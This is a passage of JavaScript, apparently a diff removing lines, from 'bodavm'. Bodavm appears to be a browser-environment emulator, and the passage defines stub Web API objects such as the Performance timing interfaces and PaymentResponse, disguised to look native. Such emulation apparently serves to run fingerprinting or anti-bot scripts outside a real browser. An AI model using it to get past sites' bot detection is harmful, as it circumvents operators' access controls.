-bodavm.toolsFunc.defineProperty('PaymentResponse', "payerPhone", {configurable:true, enumerable:true, get:function payerPhone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "payerPhone_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentResponse', "onpayerdetailchange", {configurable:true, enumerable:true, get:function onpayerdetailchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "onpayerdetailchange_get", arguments)}, set:function onpayerdetailchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "onpayerdetailchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentResponse', "complete", {configurable:true, enumerable:true, writable:true, value:function complete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "complete", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentResponse', "retry", {configurable:true, enumerable:true, writable:true, value:function retry (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "retry", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentResponse', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "toJSON", arguments)}},'prototype'); - -// PerformanceElementTiming对象 -bodavm.memory.globalobj['PerformanceElementTiming'] = function PerformanceElementTiming(){if (!(this instanceof PerformanceElementTiming)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceElementTiming'], "PerformanceElementTiming"); -bodavm.memory.globalobj['PerformanceElementTiming'].prototype.__proto__=bodavm.memory.globalobj['PerformanceEntry'].prototype; -bodavm.memory.globalobj['PerformanceElementTiming'].__proto__=bodavm.memory.globalobj['PerformanceEntry']; -bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "renderTime", {configurable:true, enumerable:true, get:function renderTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "renderTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "loadTime", {configurable:true, enumerable:true, get:function loadTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "loadTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "intersectionRect", {configurable:true, enumerable:true, get:function intersectionRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "intersectionRect_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "identifier", {configurable:true, enumerable:true, get:function identifier (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "identifier_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "naturalWidth", {configurable:true, enumerable:true, get:function naturalWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "naturalWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "naturalHeight", {configurable:true, enumerable:true, get:function naturalHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "naturalHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "element", {configurable:true, enumerable:true, get:function element (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "element_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "url_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "toJSON", arguments)}},'prototype'); - -// PerformanceEventTiming对象 -bodavm.memory.globalobj['PerformanceEventTiming'] = function PerformanceEventTiming(){if (!(this instanceof PerformanceEventTiming)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceEventTiming'], "PerformanceEventTiming"); -bodavm.memory.globalobj['PerformanceEventTiming'].prototype.__proto__=bodavm.memory.globalobj['PerformanceEntry'].prototype; -bodavm.memory.globalobj['PerformanceEventTiming'].__proto__=bodavm.memory.globalobj['PerformanceEntry']; -bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "processingStart", {configurable:true, enumerable:true, get:function processingStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "processingStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "processingEnd", {configurable:true, enumerable:true, get:function processingEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "processingEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "cancelable", {configurable:true, enumerable:true, get:function cancelable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "cancelable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "target_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "interactionId", {configurable:true, enumerable:true, get:function interactionId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "interactionId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "toJSON", arguments)}},'prototype'); - -// PerformanceLongTaskTiming对象 -bodavm.memory.globalobj['PerformanceLongTaskTiming'] = function PerformanceLongTaskTiming(){if (!(this instanceof PerformanceLongTaskTiming)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceLongTaskTiming'], "PerformanceLongTaskTiming"); -bodavm.memory.globalobj['PerformanceLongTaskTiming'].prototype.__proto__=bodavm.memory.globalobj['PerformanceEntry'].prototype; -bodavm.memory.globalobj['PerformanceLongTaskTiming'].__proto__=bodavm.memory.globalobj['PerformanceEntry']; -bodavm.toolsFunc.defineProperty('PerformanceLongTaskTiming', "attribution", {configurable:true, enumerable:true, get:function attribution (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceLongTaskTiming'].prototype, "PerformanceLongTaskTiming", "attribution_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceLongTaskTiming', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceLongTaskTiming'].prototype, "PerformanceLongTaskTiming", "toJSON", arguments)}},'prototype'); - -// PerformanceMark对象 -bodavm.memory.globalobj['PerformanceMark'] = function PerformanceMark(){if (!(this instanceof PerformanceMark)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PerformanceMark': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceMark'], "PerformanceMark"); -bodavm.memory.globalobj['PerformanceMark'].prototype.__proto__=bodavm.memory.globalobj['PerformanceEntry'].prototype; -bodavm.memory.globalobj['PerformanceMark'].__proto__=bodavm.memory.globalobj['PerformanceEntry']; -bodavm.toolsFunc.defineProperty('PerformanceMark', "detail", {configurable:true, enumerable:true, get:function detail (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceMark'].prototype, "PerformanceMark", "detail_get", arguments)}, set:undefined},'prototype'); - -// PerformanceMeasure对象 -bodavm.memory.globalobj['PerformanceMeasure'] = function PerformanceMeasure(){if (!(this instanceof PerformanceMeasure)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceMeasure'], "PerformanceMeasure"); -bodavm.memory.globalobj['PerformanceMeasure'].prototype.__proto__=bodavm.memory.globalobj['PerformanceEntry'].prototype; -bodavm.memory.globalobj['PerformanceMeasure'].__proto__=bodavm.memory.globalobj['PerformanceEntry']; -bodavm.toolsFunc.defineProperty('PerformanceMeasure', "detail", {configurable:true, enumerable:true, get:function detail (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceMeasure'].prototype, "PerformanceMeasure", "detail_get", arguments)}, set:undefined},'prototype'); - -// PerformanceNavigation对象 -bodavm.memory.globalobj['PerformanceNavigation'] = function PerformanceNavigation(){if (!(this instanceof PerformanceNavigation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceNavigation'], "PerformanceNavigation"); -bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_NAVIGATE", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_RELOAD", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_BACK_FORWARD", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_RESERVED", {configurable:false, enumerable:true, writable:false, value:255}); -bodavm.toolsFunc.defineProperty('PerformanceNavigation', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigation'].prototype, "PerformanceNavigation", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigation', "redirectCount", {configurable:true, enumerable:true, get:function redirectCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigation'].prototype, "PerformanceNavigation", "redirectCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_NAVIGATE", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_RELOAD", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_BACK_FORWARD", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_RESERVED", {configurable:false, enumerable:true, writable:false, value:255},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigation', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigation'].prototype, "PerformanceNavigation", "toJSON", arguments)}},'prototype'); - -// PerformanceNavigationTiming对象 -bodavm.memory.globalobj['PerformanceNavigationTiming'] = function PerformanceNavigationTiming(){if (!(this instanceof PerformanceNavigationTiming)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceNavigationTiming'], "PerformanceNavigationTiming"); -bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype.__proto__=bodavm.memory.globalobj['PerformanceResourceTiming'].prototype; -bodavm.memory.globalobj['PerformanceNavigationTiming'].__proto__=bodavm.memory.globalobj['PerformanceResourceTiming']; -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "unloadEventStart", {configurable:true, enumerable:true, get:function unloadEventStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "unloadEventStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "unloadEventEnd", {configurable:true, enumerable:true, get:function unloadEventEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "unloadEventEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "domInteractive", {configurable:true, enumerable:true, get:function domInteractive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "domInteractive_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "domContentLoadedEventStart", {configurable:true, enumerable:true, get:function domContentLoadedEventStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "domContentLoadedEventStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "domContentLoadedEventEnd", {configurable:true, enumerable:true, get:function domContentLoadedEventEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "domContentLoadedEventEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "domComplete", {configurable:true, enumerable:true, get:function domComplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "domComplete_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "loadEventStart", {configurable:true, enumerable:true, get:function loadEventStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "loadEventStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "loadEventEnd", {configurable:true, enumerable:true, get:function loadEventEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "loadEventEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "redirectCount", {configurable:true, enumerable:true, get:function redirectCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "redirectCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "toJSON", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "activationStart", {configurable:true, enumerable:true, get:function activationStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "activationStart_get", arguments)}, set:undefined},'prototype'); - -// PerformanceObserver对象 -bodavm.memory.globalobj['PerformanceObserver'] = function PerformanceObserver(){if (!(this instanceof PerformanceObserver)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PerformanceObserver': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceObserver'], "PerformanceObserver"); -bodavm.toolsFunc.defineProperty('PerformanceObserver', "supportedEntryTypes", {configurable:true, enumerable:true, get:function supportedEntryTypes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserver'].undefined, "PerformanceObserver", "supportedEntryTypes_get", arguments)}, set:undefined}); -bodavm.toolsFunc.defineProperty('PerformanceObserver', "disconnect", {configurable:true, enumerable:true, writable:true, value:function disconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserver'].prototype, "PerformanceObserver", "disconnect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceObserver', "observe", {configurable:true, enumerable:true, writable:true, value:function observe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserver'].prototype, "PerformanceObserver", "observe", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceObserver', "takeRecords", {configurable:true, enumerable:true, writable:true, value:function takeRecords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserver'].prototype, "PerformanceObserver", "takeRecords", arguments)}},'prototype'); - -// PerformanceObserverEntryList对象 -bodavm.memory.globalobj['PerformanceObserverEntryList'] = function PerformanceObserverEntryList(){if (!(this instanceof PerformanceObserverEntryList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceObserverEntryList'], "PerformanceObserverEntryList"); -bodavm.toolsFunc.defineProperty('PerformanceObserverEntryList', "getEntries", {configurable:true, enumerable:true, writable:true, value:function getEntries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserverEntryList'].prototype, "PerformanceObserverEntryList", "getEntries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceObserverEntryList', "getEntriesByName", {configurable:true, enumerable:true, writable:true, value:function getEntriesByName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserverEntryList'].prototype, "PerformanceObserverEntryList", "getEntriesByName", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceObserverEntryList', "getEntriesByType", {configurable:true, enumerable:true, writable:true, value:function getEntriesByType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserverEntryList'].prototype, "PerformanceObserverEntryList", "getEntriesByType", arguments)}},'prototype'); - -// PerformanceServerTiming对象 -bodavm.memory.globalobj['PerformanceServerTiming'] = function PerformanceServerTiming(){if (!(this instanceof PerformanceServerTiming)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceServerTiming'], "PerformanceServerTiming"); -bodavm.toolsFunc.defineProperty('PerformanceServerTiming', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceServerTiming'].prototype, "PerformanceServerTiming", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceServerTiming', "duration", {configurable:true, enumerable:true, get:function duration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceServerTiming'].prototype, "PerformanceServerTiming", "duration_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceServerTiming', "description", {configurable:true, enumerable:true, get:function description (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceServerTiming'].prototype, "PerformanceServerTiming", "description_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceServerTiming', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceServerTiming'].prototype, "PerformanceServerTiming", "toJSON", arguments)}},'prototype'); - -// PerformanceTiming对象 -bodavm.memory.globalobj['PerformanceTiming'] = function PerformanceTiming(){if (!(this instanceof PerformanceTiming)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceTiming'], "PerformanceTiming"); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "navigationStart", {configurable:true, enumerable:true, get:function navigationStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "navigationStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "unloadEventStart", {configurable:true, enumerable:true, get:function unloadEventStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "unloadEventStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "unloadEventEnd", {configurable:true, enumerable:true, get:function unloadEventEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "unloadEventEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "redirectStart", {configurable:true, enumerable:true, get:function redirectStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "redirectStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "redirectEnd", {configurable:true, enumerable:true, get:function redirectEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "redirectEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "fetchStart", {configurable:true, enumerable:true, get:function fetchStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "fetchStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "domainLookupStart", {configurable:true, enumerable:true, get:function domainLookupStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domainLookupStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "domainLookupEnd", {configurable:true, enumerable:true, get:function domainLookupEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domainLookupEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "connectStart", {configurable:true, enumerable:true, get:function connectStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "connectStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "connectEnd", {configurable:true, enumerable:true, get:function connectEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "connectEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "secureConnectionStart", {configurable:true, enumerable:true, get:function secureConnectionStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "secureConnectionStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "requestStart", {configurable:true, enumerable:true, get:function requestStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "requestStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "responseStart", {configurable:true, enumerable:true, get:function responseStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "responseStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "responseEnd", {configurable:true, enumerable:true, get:function responseEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "responseEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "domLoading", {configurable:true, enumerable:true, get:function domLoading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domLoading_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "domInteractive", {configurable:true, enumerable:true, get:function domInteractive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domInteractive_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "domContentLoadedEventStart", {configurable:true, enumerable:true, get:function domContentLoadedEventStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domContentLoadedEventStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "domContentLoadedEventEnd", {configurable:true, enumerable:true, get:function domContentLoadedEventEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domContentLoadedEventEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "domComplete", {configurable:true, enumerable:true, get:function domComplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domComplete_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "loadEventStart", {configurable:true, enumerable:true, get:function loadEventStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "loadEventStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "loadEventEnd", {configurable:true, enumerable:true, get:function loadEventEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "loadEventEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "toJSON", arguments)}},'prototype'); - -// PeriodicSyncManager对象 -bodavm.memory.globalobj['PeriodicSyncManager'] = function PeriodicSyncManager(){if (!(this instanceof PeriodicSyncManager)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PeriodicSyncManager'], "PeriodicSyncManager"); -bodavm.toolsFunc.defineProperty('PeriodicSyncManager', "getTags", {configurable:true, enumerable:true, writable:true, value:function getTags (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PeriodicSyncManager'].prototype, "PeriodicSyncManager", "getTags", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PeriodicSyncManager', "register", {configurable:true, enumerable:true, writable:true, value:function register (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PeriodicSyncManager'].prototype, "PeriodicSyncManager", "register", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PeriodicSyncManager', "unregister", {configurable:true, enumerable:true, writable:true, value:function unregister (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PeriodicSyncManager'].prototype, "PeriodicSyncManager", "unregister", arguments)}},'prototype'); - -// PeriodicWave对象 -bodavm.memory.globalobj['PeriodicWave'] = function PeriodicWave(){if (!(this instanceof PeriodicWave)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PeriodicWave': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PeriodicWave'], "PeriodicWave"); - -// personalbar对象 -bodavm.memory.globalobj['personalbar'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['personalbar'].__proto__=bodavm.memory.globalobj['BarProp'].prototype; - -// PictureInPictureEvent对象 -bodavm.memory.globalobj['PictureInPictureEvent'] = function 